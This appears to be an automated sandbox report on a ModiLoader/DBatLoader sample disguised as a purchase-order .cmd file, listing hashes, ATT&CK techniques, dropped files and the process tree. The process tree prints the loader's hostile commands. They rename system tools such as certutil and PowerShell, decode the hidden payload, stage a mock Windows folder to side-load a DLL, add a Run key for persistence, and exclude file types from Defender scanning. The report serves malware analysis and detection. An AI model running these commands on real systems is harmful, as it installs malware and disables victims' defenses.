modiloader | dbb04a5f4105ec04887ef88eac17c72c13560fef708db85ec359ea9385fde186

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22/08/2024, 10:39

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General

Target

PO310.cmd
Size

6.0MB
MD5

0a991692503b1ce00707984c32918e12
SHA1

df76107deaaee0782c2a4ccd326847e73fafd5e3
SHA256

801e63d98bd8bd5371e18cb9c55d7470909ba1c9ad33aedd89f2cc82f5700f64
SHA512

48aa535b03ebbcdd0bfc9265d5a4675dc472ba0fea0842ffe7a59f54e851f0385216e90578aa4f4f40767c9c9333d41dd5b3a27b875d0826adbf26d60521da5b
SSDEEP

49152:SKT0ymm9RodOObxwbu0a9dJxICIVp1JsPxPZ1m+:2

Score

10^/10

modiloader discovery persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

ModiLoader Second Stage 1 IoCs

resource	yara_rule
behavioral2/memory/3568-29-0x0000000002FA0000-0x0000000003FA0000-memory.dmp	modiloader_stage2

Executes dropped EXE 17 IoCs

pid	Process
4336	alpha.exe
5052	alpha.exe
3512	kn.exe
1924	alpha.exe
4240	kn.exe
3568	dasHost.COM
3732	alpha.exe
3008	alpha.exe
4360	alpha.pif
452	alpha.pif
1924	alpha.pif
2412	xpha.pif
3124	per.exe
1036	pha.pif
4012	alpha.pif
3248	alpha.pif
3604	alpha.pif

Loads dropped DLL 1 IoCs

pid	Process
3124	per.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rcjwygwr = "C:\\Users\\Public\\Rcjwygwr.url"	dasHost.COM

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dasHost.COM

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3640	esentutl.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1036	pha.pif
1036	pha.pif

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1036	pha.pif

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 5004	1656	cmd.exe	85
PID 1656 wrote to memory of 5004	1656	cmd.exe	85
PID 1656 wrote to memory of 4336	1656	cmd.exe	86
PID 1656 wrote to memory of 4336	1656	cmd.exe	86
PID 4336 wrote to memory of 4020	4336	alpha.exe	87
PID 4336 wrote to memory of 4020	4336	alpha.exe	87
PID 1656 wrote to memory of 5052	1656	cmd.exe	89
PID 1656 wrote to memory of 5052	1656	cmd.exe	89
PID 5052 wrote to memory of 3512	5052	alpha.exe	90
PID 5052 wrote to memory of 3512	5052	alpha.exe	90
PID 1656 wrote to memory of 1924	1656	cmd.exe	92
PID 1656 wrote to memory of 1924	1656	cmd.exe	92
PID 1924 wrote to memory of 4240	1924	alpha.exe	93
PID 1924 wrote to memory of 4240	1924	alpha.exe	93
PID 1656 wrote to memory of 3568	1656	cmd.exe	95
PID 1656 wrote to memory of 3568	1656	cmd.exe	95
PID 1656 wrote to memory of 3568	1656	cmd.exe	95
PID 1656 wrote to memory of 3732	1656	cmd.exe	96
PID 1656 wrote to memory of 3732	1656	cmd.exe	96
PID 1656 wrote to memory of 3008	1656	cmd.exe	97
PID 1656 wrote to memory of 3008	1656	cmd.exe	97
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM
PID 3568 wrote to memory of 0	3568	dasHost.COM

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO310.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:5004
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4336
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:4020
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PO310.cmd" "C:\\Users\\Public\\dasHost.GIF" 3
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PO310.cmd" "C:\\Users\\Public\\dasHost.GIF" 3
    3⤵
    - Executes dropped EXE
    PID:3512
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\dasHost.GIF" "C:\\Users\\Public\\Libraries\\dasHost.COM" 10
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\dasHost.GIF" "C:\\Users\\Public\\Libraries\\dasHost.COM" 10
    3⤵
    - Executes dropped EXE
    PID:4240
- C:\Users\Public\Libraries\dasHost.COM
  C:\Users\Public\Libraries\dasHost.COM
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\rwgywjcR.cmd" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1964
  - - C:\Windows\SysWOW64\esentutl.exe
      C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
      4⤵
      PID:1544
  - - C:\Windows\SysWOW64\esentutl.exe
      C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:3640
  - - C:\Users\Public\alpha.pif
      C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4360
  - - C:\Users\Public\alpha.pif
      C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:452
  - - C:\Users\Public\alpha.pif
      C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1924
    - - C:\Users\Public\xpha.pif
        
        C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2412
  - - C:\Windows \SysWOW64\per.exe
      "C:\\Windows \\SysWOW64\\per.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3124
    - - C:\Windows\SYSTEM32\esentutl.exe
        
        esentutl /y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe /d C:\\Users\\Public\\pha.pif /o
        5⤵
        
        PID:4560
    - - C:\Users\Public\pha.pif
        
        C:\\Users\\Public\\pha.pif -WindowStyle hidden -Command Add-MpPreference -ExclusionExtension '.exe','bat','.pif'
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1036
  - - C:\Users\Public\alpha.pif
      C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4012
  - - C:\Users\Public\alpha.pif
      C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3248
  - - C:\Users\Public\alpha.pif
      C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3604
- - C:\Windows\SysWOW64\esentutl.exe
    C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\dasHost.COM /d C:\\Users\\Public\\Libraries\\Rcjwygwr.PIF /o
    3⤵
    PID:1896
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\System32\colorcpl.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4304
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:3732
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\dasHost.GIF" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:3008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rmtsv34x.dgq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Libraries\dasHost.COM

Filesize
1.2MB

MD5
81930eaf224f2c1cd1901aa5f13800c4

SHA1
0ebb13479cb378d89260bb1edfd2171baca196c1

SHA256
4986231ef099aa547381a45c9e7ce5a907e434708581c919a7dd9504c8b02202

SHA512
a20b99e981cef3062d67a413a40d71ad1386d426d954bf2290fca562aaa187542f33de3f06b92a27961b6d4298b93719266155f3f7e666222490eb9dbe846f6a

Download Submit
C:\Users\Public\Libraries\rwgywjcR.cmd

Filesize
60KB

MD5
b87f096cbc25570329e2bb59fee57580

SHA1
d281d1bf37b4fb46f90973afc65eece3908532b2

SHA256
d08ccc9b1e3acc205fe754bad8416964e9711815e9ceed5e6af73d8e9035ec9e

SHA512
72901adde38f50cf6d74743c0a546c0fea8b1cd4a18449048a0758a7593a176fc33aad1ebfd955775eefc2b30532bcc18e4f2964b3731b668dd87d94405951f7

Download Submit
C:\Users\Public\alpha.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Users\Public\alpha.pif

Filesize
231KB

MD5
d0fce3afa6aa1d58ce9fa336cc2b675b

SHA1
4048488de6ba4bfef9edf103755519f1f762668f

SHA256
4d89fc34d5f0f9babd022271c585a9477bf41e834e46b991deaa0530fdb25e22

SHA512
80e127ef81752cd50f9ea2d662dc4d3bf8db8d29680e75fa5fc406ca22cafa5c4d89ef2eac65b486413d3cdd57a2c12a1cb75f65d1e312a717d262265736d1c2

Download Submit
C:\Users\Public\dasHost.GIF

Filesize
4.3MB

MD5
4d4ea35d1c4338a3c219b6a08cc8aeda

SHA1
acd96bd4f03d1acac9fc7b749b7ec61397e3b56d

SHA256
b8b24026bf42bdbc29c6cd1fc6210f60e6224833898c77d15dc9cc6a6b4eca17

SHA512
2c4132dbc4c63cf587646315ab2dbe22f62a76cb3c7a3a4c4e6643cab51f51f2789ba55c8458a2012f3a6031ee488bf0cfb55ebe52a6f24f2b4e1439d62f1e3a

Download Submit
C:\Users\Public\kn.exe

Filesize
1.6MB

MD5
bd8d9943a9b1def98eb83e0fa48796c2

SHA1
70e89852f023ab7cde0173eda1208dbb580f1e4f

SHA256
8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

SHA512
95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

Download Submit
C:\Users\Public\pha.pif

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Public\xpha.pif

Filesize
18KB

MD5
b3624dd758ccecf93a1226cef252ca12

SHA1
fcf4dad8c4ad101504b1bf47cbbddbac36b558a7

SHA256
4aaa74f294c15aeb37ada8185d0dead58bd87276a01a814abc0c4b40545bf2ef

SHA512
c613d18511b00fa25fc7b1bdde10d96debb42a99b5aaab9e9826538d0e229085bb371f0197f6b1086c4f9c605f01e71287ffc5442f701a95d67c232a5f031838

Download Submit
C:\Windows \SysWOW64\netutils.dll

Filesize
115KB

MD5
c5db31551cb21105e3f0b3e467b91cc7

SHA1
c66fd7732973d9803ba0fd4323e8507876892310

SHA256
3fa23d8f7b7eeac6443e107bd70d0c6371afc1f8082d3d58fffd8685cf9e2193

SHA512
6d1ee4b55fb74dc093f52caf1e093ec2742af263ff8fa264cd61eea48c021c3438150ba12a8e9d694e7246fe296ea011d8b6313e8ee4476a63c7072c2990685e

Download Submit
C:\Windows \SysWOW64\per.exe

Filesize
94KB

MD5
869640d0a3f838694ab4dfea9e2f544d

SHA1
bdc42b280446ba53624ff23f314aadb861566832

SHA256
0db4d3ffdb96d13cf3b427af8be66d985728c55ae254e4b67d287797e4c0b323

SHA512
6e775cfb350415434b18427d5ff79b930ed3b0b3fc3466bc195a796c95661d4696f2d662dd0e020c3a6c3419c2734468b1d7546712ecec868d2bbfd2bc2468a7

Download Submit
memory/1036-162-0x00000209A4D90000-0x00000209A4DB2000-memory.dmp

Filesize
136KB

Download
memory/1544-38-0x0000000001010000-0x0000000001020000-memory.dmp

Filesize
64KB

Download
memory/1544-61-0x0000000001440000-0x0000000001450000-memory.dmp

Filesize
64KB

Download
memory/3568-31-0x0000000000400000-0x0000000000540000-memory.dmp

Filesize
1.2MB

Download
memory/3568-29-0x0000000002FA0000-0x0000000003FA0000-memory.dmp

Filesize
16.0MB

Download
memory/3568-28-0x0000000002FA0000-0x0000000003FA0000-memory.dmp

Filesize
16.0MB

Download